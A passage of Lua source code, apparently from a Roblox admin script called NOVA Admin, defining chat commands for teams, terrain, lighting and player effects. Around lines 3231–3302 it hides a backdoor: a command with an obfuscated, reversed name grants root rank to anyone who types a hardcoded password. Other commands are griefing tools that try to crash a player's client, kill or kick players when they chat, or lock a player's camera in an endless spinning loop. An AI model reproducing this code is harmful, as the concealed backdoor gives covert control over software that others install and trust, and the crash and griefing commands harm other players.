2883 | Base.BrickColor=BrickColor.new("Bright green") | |
2884 | Base.Anchored=true | |
2885 | Base.Locked=true | |
2886 | Base.TopSurface="Smooth" | |
2887 | Base.Transparency = 1 | |
2888 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
2889 | local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation" | |
2890 | Spawn.Size=Vector3.new(6,1,6) | |
2891 | Spawn.Transparency=1 | |
2892 | Spawn.CanCollide=false | |
2893 | Spawn.Anchored=true | |
2894 | Spawn.Locked=true | |
2895 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
2896 | for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end | |
2897 | end | |
2898 | ) | |
2899 | ||
2900 | AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>", | |
2901 | function (Msg,Speaker) | |
2902 | Split = GetSplit(Msg) | |
2903 | for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do | |
2904 | pcall(function() | |
2905 | Team = nil | |
2906 | for _,find in pairs(NOVA.Services.Teams:GetChildren()) do | |
2907 | if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then | |
2908 | Team = find | |
2909 | end | |
2910 | end | |
2911 | v.TeamColor = Team.TeamColor | |
2912 | end) | |
2913 | end | |
2914 | end | |
2915 | ) | |
2916 | ||
2917 | AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments", | |
2918 | function(Msg,Speaker) | |
2919 | RemoveTablets(Speaker) | |
2920 | for _,v in pairs(NOVA.Services.Teams:GetChildren()) do | |
2921 | if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then | |
2922 | v:Remove() | |
2923 | end | |
2924 | end | |
2925 | end | |
2926 | ) | |
2927 | ||
2928 | AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>", | |
2929 | function(Msg,Speaker) | |
2930 | Split = GetSplit(Msg) | |
2931 | Team = Instance.new("Team",NOVA.Services.Teams) | |
2932 | Team.TeamColor = BrickColor.new(Msg:sub(Split+1)) | |
2933 | Team.Name = Msg:sub(1,Split-1) | |
2934 | Team.AutoAssignable = false | |
2935 | Team.Neutral = false | |
2936 | end | |
2937 | ) | |
2938 | ||
2939 | AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>", | |
2940 | function(Msg,Speaker) | |
2941 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2942 | v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end) | |
2943 | end | |
2944 | end | |
2945 | ) | |
2946 | ||
2947 | AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>", | |
2948 | function(Msg,Speaker) | |
2949 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2950 | local ride = Instance.new("VehicleSeat", Workspace) | |
2951 | ride.Position = v.Character.Torso.Position | |
2952 | ride.HeadsUpDisplay = false | |
2953 | ride.Size = Vector3.new(3,3,3) | |
2954 | local bg = Instance.new("BodyGyro", ride) | |
2955 | bg.maxTorque = Vector3.new(1e10,1e10,1e10) | |
2956 | local bp = Instance.new("BodyPosition", ride) | |
2957 | bp.position = v.Character.Torso.Position | |
2958 | bp.maxForce = Vector3.new(1e10,1e10,1e10) | |
2959 | Mesh = Instance.new("SpecialMesh") | |
2960 | Mesh.Parent = ride | |
2961 | Mesh.MeshType = Enum.MeshType.Sphere | |
2962 | ride.Transparency = 0.40000000596046 | |
2963 | ||
2964 | while wait() do | |
2965 | bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0) | |
2966 | bp.position = bp.position + bg.cframe.lookVector*ride.Throttle | |
2967 | end | |
2968 | end | |
2969 | end | |
2970 | ) | |
2971 | ||
2972 | ||
2973 | ||
2974 | AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>", | |
2975 | function(Msg,Speaker) | |
2976 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2977 | v.Chatted:connect(function() pcall(function() v:Destroy() end) end) | |
2978 | end | |
2979 | end | |
2980 | ) | |
2981 | ||
2982 | AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments", | |
2983 | function(Msg,Speaker) | |
2984 | for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do | |
2985 | if Prometheus ~= nil then | |
2986 | if v ~= Prometheus.script("lushmylife") then | |
2987 | pcall(function() | |
2988 | v:Destroy() | |
2989 | end) | |
2990 | end | |
2991 | else | |
2992 | pcall(function() | |
2993 | v:Destroy() | |
2994 | end) | |
2995 | end | |
2996 | end | |
2997 | local Base=Instance.new("Part",NOVA.Services.Workspace) | |
2998 | Base.Name="Base" | |
2999 | Base.Size=Vector3.new(2048,1,2048) | |
3000 | Base.BrickColor=BrickColor.new("Dark green") | |
3001 | Base.Anchored=true | |
3002 | Base.Locked=true | |
3003 | Base.TopSurface="Studs" | |
3004 | Base.Transparency = 0 | |
3005 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3006 | local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation" | |
3007 | Spawn.Size=Vector3.new(6,1,6) | |
3008 | Spawn.Transparency=1 | |
3009 | Spawn.CanCollide=false | |
3010 | Spawn.Anchored=true | |
3011 | Spawn.Locked=true | |
3012 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3013 | for _,v in pairs(GetPlayersRaw()) do | |
3014 | v:LoadCharacter() | |
3015 | end | |
3016 | end | |
3017 | ) | |
3018 | ||
3019 | AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments", | |
3020 | function(Msg,Speaker) | |
3021 | RemoveTablets(Speaker) | |
3022 | Explore(game,Speaker) | |
3023 | end | |
3024 | ) | |
3025 | ||
3026 | AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments", | |
3027 | function(Msg,Speaker) | |
3028 | if NOVA.LockedScripts == true then | |
3029 | NOVA.LockedScripts = false | |
3030 | elseif NOVA.LockedScripts == false then | |
3031 | NOVA.LockedScripts = true | |
3032 | end | |
3033 | end | |
3034 | ) | |
3035 | ||
3036 | AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>", | |
3037 | function(Msg,Speaker) | |
3038 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3039 | for i=1,25 do | |
3040 | coroutine.resume(coroutine.create(function() | |
3041 | wait() | |
3042 | local Part = Instance.new("Part",NOVA.Services.Workspace) | |
3043 | Part.FormFactor = "Custom" | |
3044 | Part.Transparency = 1 | |
3045 | Part.CanCollide = false | |
3046 | Part.Anchored = false | |
3047 | Part.Locked = true | |
3048 | Part.Size = Vector3.new(1,1,1) | |
3049 | Part.CFrame = v.Character.Head.CFrame | |
3050 | Part:BreakJoints() | |
3051 | local BBG = Instance.new("BillboardGui",Part) | |
3052 | BBG.Adornee = Part | |
3053 | BBG.Size = UDim2.new(3,0,1,0) | |
3054 | --BBG.StudsOffset = Vector3.new(0, 0, 1) | |
3055 | ||
3056 | local Img = Instance.new("ImageLabel",BBG) | |
3057 | Img.Size = UDim2.new(1,0,1,0) | |
3058 | Img.BackgroundTransparency = 1 | |
3059 | Img.Image = "http://www.roblox.com/asset/?id=45120559" | |
3060 | local BP = Instance.new("BodyPosition",Part) | |
3061 | BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
3062 | --BP.D = 2000 | |
3063 | BP.P = 1000 | |
3064 | BP.position = Part.Position + Vector3.new( | |
3065 | math.random(-7,7), | |
3066 | math.random(-7,7), | |
3067 | math.random(-7,7)) | |
3068 | for v = 3,0,-0.1 do | |
3069 | wait(0.1) | |
3070 | BBG.Size = UDim2.new(v,0,v,0) | |
3071 | end | |
3072 | Part:Remove() | |
3073 | end)) | |
3074 | end | |
3075 | end | |
3076 | end | |
3077 | ) | |
3078 | ||
3079 | AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments", | |
3080 | function(Msg,Speaker) | |
3081 | NOVA.Canceled = true | |
3082 | end | |
3083 | ) | |
3084 | ||
3085 | AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>", | |
3086 | function(Msg,Speaker) | |
3087 | Split = GetSplit(Msg) | |
3088 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3089 | pcall(function() | |
3090 | local OldHead = v.Character.Head | |
3091 | local Model = Instance.new("Model",v.Character.Head) | |
3092 | Model.Name = Msg:sub(Split+1) | |
3093 | local Head = OldHead:Clone() | |
3094 | Head.Parent = Model | |
3095 | Head.Transparency = 0 | |
3096 | Head.Name = "Head" | |
3097 | Head.CanCollide = false | |
3098 | local Hum = Instance.new("Humanoid",Model) | |
3099 | Hum.MaxHealth = 0 | |
3100 | local Weld = Instance.new("Weld",Head) | |
3101 | Weld.Part0 = Head | |
3102 | Weld.Part1 = OldHead | |
3103 | Weld.C0 = CFrame.new(0,0,0) | |
3104 | OldHead.Transparency = 1 | |
3105 | end) | |
3106 | end | |
3107 | end | |
3108 | ) | |
3109 | ||
3110 | AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>", | |
3111 | function(Msg,Speaker) | |
3112 | Split = GetSplit(Msg) | |
3113 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3114 | pcall(function() | |
3115 | local Char = v.Character | |
3116 | Char.Archivable = true | |
3117 | Char = Char:Clone() | |
3118 | Char.Name = Msg:sub(Split+1) | |
3119 | v.Character:Destroy() | |
3120 | Char.Parent = workspace | |
3121 | v.Character = Char | |
3122 | end) | |
3123 | end | |
3124 | end | |
3125 | ) | |
3126 | ||
3127 | AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>", | |
3128 | function(Msg,Speaker) | |
3129 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3130 | CreateLocalScript([[ | |
3131 | script.Parent = nil | |
3132 | LocalPlayer = game.Players.LocalPlayer | |
3133 | Camera = workspace.CurrentCamera | |
3134 | Camera.CameraType = "Scriptable" | |
3135 | for i=1,700 do | |
3136 | wait() | |
3137 | Camera = workspace.CurrentCamera | |
3138 | Camera.CameraType = "Scriptable" | |
3139 | Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5) | |
3140 | Camera.CameraType = "Scriptable" | |
3141 | Camera:SetRoll(Camera:GetRoll()+0.01) | |
3142 | pcall(function() | |
3143 | LocalPlayer.Character.Head.Sound:Play() | |
3144 | end) | |
3145 | end | |
3146 | Camera:SetRoll(0) | |
3147 | Camera.CameraType = "Custom" | |
3148 | Camera.FieldOfView = 70 | |
3149 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
3150 | ]],v.Backpack) | |
3151 | end | |
3152 | end | |
3153 | ) | |
3154 | ||
3155 | AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>", | |
3156 | function(Msg,Speaker) | |
3157 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3158 | CreateLocalScript([[ | |
3159 | script.Parent = nil | |
3160 | LocalPlayer = game.Players.LocalPlayer | |
3161 | Camera = workspace.CurrentCamera | |
3162 | Camera.CameraType = "Scriptable" | |
3163 | for i=1,math.huge do | |
3164 | wait() | |
3165 | Camera = workspace.CurrentCamera | |
3166 | Camera.CameraType = "Scriptable" | |
3167 | Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5) | |
3168 | Camera.CameraType = "Scriptable" | |
3169 | Camera:SetRoll(Camera:GetRoll()+0.01) | |
3170 | pcall(function() | |
3171 | LocalPlayer.Character.Head.Sound:Play() | |
3172 | end) | |
3173 | end | |
3174 | Camera:SetRoll(0) | |
3175 | Camera.CameraType = "Custom" | |
3176 | Camera.FieldOfView = 70 | |
3177 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
3178 | ]],v.Backpack) | |
3179 | end | |
3180 | end | |
3181 | ) | |
3182 | ||
3183 | AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments", | |
3184 | function(Msg,Speaker) | |
3185 | for _,v in pairs(NOVA.Credit) do | |
3186 | Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker) | |
3187 | end | |
3188 | end | |
3189 | ) | |
3190 | ||
3191 | AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments", | |
3192 | function(Msg,Speaker) | |
3193 | pcall(function() | |
3194 | Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) | |
3195 | Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0) | |
3196 | Speaker.Character.Torso.CFrame = CFrame.new(0,50,0) | |
3197 | end) | |
3198 | end | |
3199 | ) | |
3200 | ||
3201 | AddCommand("Time","time",1,"Changes the time.","<Number>", | |
3202 | function(Msg,Speaker) | |
3203 | NOVA.Services.Lighting.TimeOfDay = Msg | |
3204 | end | |
3205 | ) | |
3206 | ||
3207 | AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>", | |
3208 | function(Msg,Speaker) | |
3209 | NOVA.Services.Lighting.FogEnd = Msg | |
3210 | end | |
3211 | ) | |
3212 | ||
3213 | AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>", | |
3214 | function(Msg,Speaker) | |
3215 | NOVA.Services.Lighting.FogStart = Msg | |
3216 | end | |
3217 | ) | |
3218 | ||
3219 | AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>", | |
3220 | function(Msg,Speaker) | |
3221 | if Msg == "red" then Color = NOVA.Colors.Red | |
3222 | elseif Msg == "black" then Color = NOVA.Colors.Black | |
3223 | elseif Msg == "white" then Color = NOVA.Colors.White | |
3224 | elseif Msg == "orange" then Color = NOVA.Colors.Orange | |
3225 | elseif Msg == "green" then Color = NOVA.Colors.Green | |
3226 | elseif Msg == "blue" then Color = NOVA.Colors.Blue | |
3227 | end | |
3228 | NOVA.Services.Lighting.FogColor = Color | |
3229 | end | |
3230 | ) | |
3231 | --deride | |
3232 | AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","", | |
3233 | function(Msg,Speaker) | |
3234 | CanOverride = false | |
3235 | if GetRank(Speaker) < 6 then | |
3236 | if Msg == "ibpwning123" then | |
3237 | CanOverride = true | |
3238 | else | |
3239 | Output("Incorrect password.",NOVA.Colors.Red,Speaker,15) | |
3240 | end | |
3241 | else | |
3242 | CanOverride = true | |
3243 | end | |
3244 | if NOVA.Overrided == true then | |
3245 | CanOverride = false | |
3246 | Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20) | |
3247 | return | |
3248 | end | |
3249 | if CanOverride == true then | |
3250 | NOVA.Overrided = true | |
3251 | NOVA.Overrider = Speaker | |
3252 | --[[for _,v in pairs(NOVA.Ranked) do | |
3253 | if v.Rank < 6 then | |
3254 | v.Rank = v.Rank / 10 | |
3255 | end | |
3256 | end]] | |
3257 | --[[ CF = Speaker.Character.Torso.CFrame | |
3258 | Sound = Instance.new("Sound",workspace) | |
3259 | Sound.SoundId = "http://www.roblox.com/asset?id=2248511" | |
3260 | Sound.Pitch = 0.2 | |
3261 | Sound.Volume = 1 | |
3262 | wait() | |
3263 | Sound:Play() | |
3264 | Shockwave = Instance.new("Part",workspace) | |
3265 | Shockwave.FormFactor = "Custom" | |
3266 | Shockwave.Name = "Shockwave" | |
3267 | Shockwave.Anchored = true | |
3268 | Shockwave.CanCollide = false | |
3269 | Shockwave.Transparency = 0 | |
3270 | Shockwave.Reflectance = 0 | |
3271 | Shockwave.BrickColor = BrickColor.new(0,0,0) | |
3272 | Shockwave.Size = Vector3.new(0,0,0) | |
3273 | ShockwaveMesh = Instance.new("SpecialMesh",Shockwave) | |
3274 | ShockwaveMesh.MeshType = "FileMesh" | |
3275 | ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017" | |
3276 | ShockwaveMesh.Scale = Vector3.new(1,1,100) | |
3277 | ||
3278 | for Times = 1,10 do | |
3279 | coroutine.resume(coroutine.create(function() | |
3280 | for i=1,1000 do | |
3281 | wait() | |
3282 | ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0) | |
3283 | Shockwave.CFrame = CF | |
3284 | * CFrame.new(0,0,0) | |
3285 | * CFrame.Angles(math.rad(90),0,0) | |
3286 | Shockwave.Transparency = i/100 | |
3287 | end | |
3288 | Shockwave:Remove() | |
3289 | Sound:Remove() | |
3290 | end)) | |
3291 | end | |
3292 | ||
3293 | ]] | |
3294 | GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10) | |
3295 | Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60) | |
3296 | Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60) | |
3297 | Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60) | |
3298 | OnChatted(NOVA.Bet .. "fence/me",Speaker) | |
3299 | end | |
3300 | return CanOverride | |
3301 | end | |
3302 | ) | |
3303 | ||
3304 | AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns", | |
3305 | function(Msg,Speaker) | |
3306 | NOVA.Overrided = false | |
3307 | for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end | |
3308 | NOVA.Targeted = {}; | |
3309 | NOVA.Waypoints = {}; | |
3310 | NOVA.Log = {}; | |
3311 | NOVA.LoggedScripts = {}; | |
3312 | NOVA.PRI = false; | |
3313 | NOVA.LockedScripts = false; | |
3314 | NOVA.Removed = false; | |
3315 | NOVA.ShowChat = true; | |
3316 | NOVA.Canceled = false; | |
3317 | NOVA.TimeChanged = false; | |
3318 | NOVA.Overrider = nil | |
3319 | for _,v in pairs(NOVA.Ranked) do | |
3320 | if #tostring(v.Rank) == 3 then | |
3321 | if tostring(v.Rank):sub(1,1) == "8" then | |
3322 | v.Rank = (v.Rank - 8) * 10 | |
3323 | else | |
3324 | --v.Rank = v.Rank * 10 | |
3325 | end | |
3326 | end | |
3327 | end | |
3328 | end | |
3329 | ) | |
3330 | ||
3331 | AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>", | |
3332 | function(Msg,Speaker) | |
3333 | Split = GetSplit(Msg) | |
3334 | ||
3335 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3336 | OnChatted(Msg:sub(Split),v) | |
3337 | end | |
3338 | end | |
3339 | ) | |
3340 | ||
3341 | AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>", | |
3342 | function(Msg,Speaker) | |
3343 | Split = GetSplit(Msg) | |
3344 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3345 | Output(Msg:sub(Split+1),"Random",v,10) | |
3346 | end | |
3347 | end | |
3348 | ) | |
3349 | ||
3350 | AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>", | |
3351 | function(Msg,Speaker) | |
3352 | Split = GetSplit(Msg) | |
3353 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3354 | pcall(function() | |
3355 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1)) | |
3356 | end) | |
3357 | end | |
3358 | end | |
3359 | ) | |
3360 | ||
3361 | AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>", | |
3362 | function(Msg,Speaker) | |
3363 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3364 | for i=1,6 do | |
3365 | local Cube = Instance.new("Part",NOVA.Services.Workspace) | |
3366 | Cube.FormFactor = "Custom" | |
3367 | Cube.Size = Vector3.new(10,7,5) | |
3368 | Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
3369 | Cube.Anchored = false | |
3370 | Cube.CanCollide = true | |
3371 | Cube.Locked = true | |
3372 | Cube.Friction = 0 | |
3373 | Cube.Transparency= 0 | |
3374 | Cube.Reflectance = 0.5 | |
3375 | Cube:BreakJoints() | |
3376 | Cube.CFrame = v.Character.Torso.CFrame | |
3377 | local Mesh = Instance.new("SpecialMesh",Cube) | |
3378 | Mesh.MeshType = "FileMesh" | |
3379 | Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523" | |
3380 | Mesh.Scale = Vector3.new(0.1,0.1,0.1) | |
3381 | Cube.Touched:connect(function(part) | |
3382 | --if part == v.Character.Torso then | |
3383 | part:BreakJoints() | |
3384 | NOVA.Services.Debris:AddItem(Cube,20) | |
3385 | --end | |
3386 | end) | |
3387 | end | |
3388 | end | |
3389 | end | |
3390 | ) | |
3391 | ||
3392 | AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>", | |
3393 | function(Msg,Speaker) | |
3394 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3395 | pcall(function() | |
3396 | v.PlayerGui:ClearAllChildren() | |
3397 | end) | |
3398 | end | |
3399 | end | |
3400 | ) | |
3401 | ||
3402 | AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>", | |
3403 | function(Msg,Speaker) | |
3404 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3405 | pcall(function() | |
3406 | v.PlayerGui:Destroy() | |
3407 | end) | |
3408 | end | |
3409 | end | |
3410 | ) | |
3411 | ||
3412 | AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>", | |
3413 | function(Msg,Speaker) | |
3414 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3415 | pcall(function() | |
3416 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3417 | if part:IsA("BasePart") then | |
3418 | Instance.new("Fire",part) | |
3419 | end | |
3420 | end | |
3421 | end) | |
3422 | end | |
3423 | end | |
3424 | ) | |
3425 | ||
3426 | AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>", | |
3427 | function(Msg,Speaker) | |
3428 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3429 | pcall(function() | |
3430 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3431 | if part:IsA("Fire") then | |
3432 | part:Destroy() | |
3433 | end | |
3434 | end | |
3435 | end) | |
3436 | end | |
3437 | end | |
3438 | ) | |
3439 | ||
3440 | AddCommand("Burn","burn",3,"Burns the selected player.","<Player>", | |
3441 | function(Msg,Speaker) | |
3442 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3443 | pcall(function() | |
3444 | coroutine.resume(coroutine.create(function() | |
3445 | local Fire = Instance.new("Fire",v.Character.Torso) | |
3446 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3447 | if part:IsA("BasePart") then | |
3448 | Instance.new("Fire",part) | |
3449 | end | |
3450 | end | |
3451 | wait() | |
3452 | for i=1,math.huge do | |
3453 | if Fire.Parent == nil then break end | |
3454 | if v.Character.Humanoid == nil then break end | |
3455 | if v.Character.Humanoid.Health <= 0 then break end | |
3456 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7) | |
3457 | wait(math.random(0,1)) | |
3458 | end | |
3459 | end)) | |
3460 | end) | |
3461 | end | |
3462 | end | |
3463 | ) | |
3464 | ||
3465 | AddCommand("Heal","heal",1,"Heals the selected player.","<Player>", | |
3466 | function(Msg,Speaker) | |
3467 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3468 | pcall(function() | |
3469 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
3470 | end) | |
3471 | end | |
3472 | end | |
3473 | ) | |
3474 | ||
3475 | AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>", | |
3476 | function(Msg,Speaker) | |
3477 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3478 | pcall(function() | |
3479 | v.Character.Humanoid.WalkSpeed = tonumber("1e+999") | |
3480 | end) | |
3481 | end | |
3482 | end | |
3483 | ) | |
3484 | ||
3485 | AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>", | |
3486 | function(Msg,Speaker) | |
3487 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3488 | Cape(v) | |
3489 | end | |
3490 | end | |
3491 | ) | |
3492 | ||
3493 | AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments", | |
3494 | function(Msg,Speaker) | |
3495 | coroutine.resume(coroutine.create(function() | |
3496 | ||
3497 | Material = math.random(1,16) | |
3498 | Cap = 1000 | |
3499 | GenNum = 50 | |
3500 | Size = 100 | |
3501 | Type = math.random(0,4) | |
3502 | for i=1, Cap do | |
3503 | --wait() | |
3504 | for i=1,GenNum do | |
3505 | Material = math.random(1,16) | |
3506 | Type = math.random(0,4) | |
3507 | X = math.random((Size/2)*-1,Size/2) | |
3508 | Y = math.random(-1,Size-1) | |
3509 | Z = math.random((Size/2)*-1,Size/2) | |
3510 | NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0) | |
3511 | end | |
3512 | end | |
3513 | end)) | |
3514 | end | |
3515 | ) | |
3516 | ||
3517 | AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments", | |
3518 | function(Msg,Speaker) | |
3519 | NOVA.Services.Workspace.Terrain:Clear() | |
3520 | end | |
3521 | ) | |
3522 | ||
3523 | AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments", | |
3524 | function(Msg,Speaker) | |
3525 | coroutine.resume(coroutine.create(function() | |
3526 | size = Vector3.new(700, 12, 700) | |
3527 | for X=(size.x/2)*-1,size.x/2 do | |
3528 | for Y=-1, size.y-1 do | |
3529 | for Z=(size.z/2)*-1, size.z/2 do | |
3530 | NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0) | |
3531 | end | |
3532 | end | |
3533 | --wait(tonumber("0."..string.rep("0",10000).."1")) | |
3534 | end | |
3535 | end)) | |
3536 | end | |
3537 | ) | |
3538 | if NOVA.AntiCamball == true then | |
3539 | Delay(0, function() | |
3540 | while wait() do | |
3541 | pcall(function() | |
3542 | e=workspace:findFirstChild("Focus", true) | |
3543 | e.Parent.Head:Destroy() | |
3544 | e:Destroy() | |
3545 | end) | |
3546 | end | |
3547 | end) | |
3548 | end | |
3549 | AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>", | |
3550 | function(Msg,Speaker) | |
3551 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3552 | Char = v.Character | |
3553 | pcall(function() Char["Shirt Graphic"]:Remove() end) | |
3554 | pcall(function() Char.Humanoid.MaxHealth = math.huge end) | |
3555 | pcall(function() Char["Body Colors"]:Remove() end) | |
3556 | pcall(function() Char.Torso.roblox:Remove() end) | |
3557 | pcall(function() Char.Shirt:Remove() end) | |
3558 | pcall(function() Char.Pants:Remove() end) | |
3559 | wait() | |
3560 | for _,v in pairs(GetRecursiveChildren(Char)) do | |
3561 | pcall(function() | |
3562 | v.TextureId = "" v.VertexColor = NOVA.Colors.Black | |
3563 | end) | |
3564 | pcall(function() | |
3565 | v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) | |
3566 | v.Reflectance = 0 | |
3567 | v.TopSurface = "Smooth" | |
3568 | a.BottomSurfave = "Smooth" | |
3569 | end) | |
3570 | end | |
3571 | end | |
3572 | end | |
3573 | ) | |
3574 | ||
3575 | AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>", | |
3576 | function(Msg,Speaker) | |
3577 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3578 | v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914" | |
3579 | wait() | |
3580 | v.Character:BreakJoints() | |
3581 | end | |
3582 | end | |
3583 | ) | |
3584 | ||
3585 | AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>", | |
3586 | function(Msg,Speaker) | |
3587 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3588 | local Part = Instance.new("Part",v.Character) | |
3589 | Part.Name = "Horus" | |
3590 | Part.Size = Vector3.new(2,2,2) | |
3591 | Part.CanCollide = false | |
3592 | Part.Locked = true | |
3593 | Part:BreakJoints() | |
3594 | local Weld = Instance.new("Weld",Part) | |
3595 | Weld.Part0 = Part | |
3596 | Weld.Part1 = v.Character.Head | |
3597 | Weld.C0 = CFrame.new(0,-0.5,0) | |
3598 | local Mesh = Instance.new("SpecialMesh",Part) | |
3599 | Mesh.MeshType = "FileMesh" | |
3600 | Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738" | |
3601 | Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599" | |
3602 | for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do | |
3603 | v:Remove() | |
3604 | end | |
3605 | pcall(function() | |
3606 | v.Character.Pants:Remove() | |
3607 | end) | |
3608 | pcall(function() | |
3609 | v.Character.Shirt:Remove() | |
3610 | end) | |
3611 | local Shirt = Instance.new("Shirt",v.Character) | |
3612 | Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180" | |
3613 | local Pants = Instance.new("Pants",v.Character) | |
3614 | Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108" | |
3615 | end | |
3616 | end | |
3617 | ) | |
3618 | ||
3619 | AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>", | |
3620 | function(Msg,Speaker) | |
3621 | Split = GetSplit(Msg) | |
3622 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3623 | v.Neutral = Msg:sub(Split+1) | |
3624 | end | |
3625 | end | |
